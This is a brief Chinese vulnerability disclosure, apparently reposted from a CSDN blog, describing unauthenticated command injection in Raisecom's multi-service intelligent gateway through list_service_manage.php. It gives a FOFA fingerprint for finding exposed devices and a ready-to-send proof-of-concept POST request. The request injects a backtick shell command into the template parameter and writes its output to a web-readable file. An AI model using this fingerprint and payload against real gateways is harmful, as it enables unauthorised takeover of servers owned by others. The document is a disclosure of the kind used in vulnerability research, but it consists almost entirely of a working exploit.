漏洞描述
瑞斯康达多业务智能网关list_service_manage.php存在未授权命令注入漏洞，攻击者利用可获取服务器权限。
资产信息
FOFA:
body="/images/raisecom/back.gif"
漏洞复现
poc
POST /vpn/list_service_manage.php?template=%60whoami%3E%2Fwww%2Ftmp%2F1.txt%60 HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Nradius_submit=true
访问文件url+/tmp/1.txt获取命令回显
标签：智能网,service,manage,list,漏洞,php From： https://blog.csdn.net/weixin_45790890/article/details/142077972